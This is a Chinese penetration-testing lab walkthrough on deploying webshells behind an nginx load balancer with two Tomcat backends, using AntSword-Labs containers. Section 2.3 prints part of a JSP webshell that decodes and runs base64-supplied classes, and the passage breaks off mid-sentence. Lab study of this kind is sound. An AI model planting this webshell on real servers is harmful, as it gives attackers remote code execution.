目录
3.1我们需要在每一台节点的相同位置都上传相同内容的 WebShell
一.反向代理负载均衡
反向代理方式其中比较流行的方式是用 nginx 来做负载均衡,实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。
nginx常见策略:
url_hash和ip_hash只要IP和url地址不变,命中的服务器不会改变,可以保持长链接
二. 环境搭建
2.1默认的「轮询」方式来做演示。
将文件下载下来上传至虚拟机中
nginx服务器反向代理到两个tomact服务器
Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的 ,我们只能通过 nginx 这台机器访问,配置如下
2.2启动环境(docker)
[root@2023 AntSword-Labs-master]# ls -al
[root@2023 AntSword-Labs-master]# cd loadbalance
[root@2023 loadbalance]# cd loadbalance-jsp //切换到老大balance目录
[root@2023 loadbalance-jsp]# systemctl start docker //启动docker
[root@2023 loadbalance-jsp]# docker-compose up -d //环境搭建
[root@2023 loadbalance-jsp]# docker ps -a //查看
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
525a0cc657a5 nginx:1.17 "nginx -g 'daemon of…" 11 seconds ago Up 10 seconds 0.0.0.0:18080->80/tcp loadbalance-jsp_nginx_1
9ff245f052e6 loadbalance-jsp_lbsnode1 "catalina.sh run" 11 seconds ago Up 11 seconds 8080/tcp loadbalance-jsp_lbsnode1_1
cc168aa146ea loadbalance-jsp_lbsnode2 "catalina.sh run" 11 seconds ago Up 11 seconds 8080/tcp loadbalance-jsp_lbsnode2_1
一个nginx服务器加两个tomacat服务器
发现端口是18080,在本地访问,出现一下画面表示搭建成功
2.3在蚁剑中添加shell
假设存在rce漏洞,类似于远程命令执行,可以让我们获取webshell,两台tamocat服务器上都存在ant.jsp,密码为ant,做负载均衡时,两个后端服务器代码是一致的
fineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>
三.在反向代理情况下实现负载均衡上传webshell的难点
3.1我们需要在每一台节点的相同位置都上传相同内容的 WebShell
轮询方式,按顺序上传,我们需要多上传几次,保证每一台后端服务器都可以上传到webshell,一旦有一台机器上没有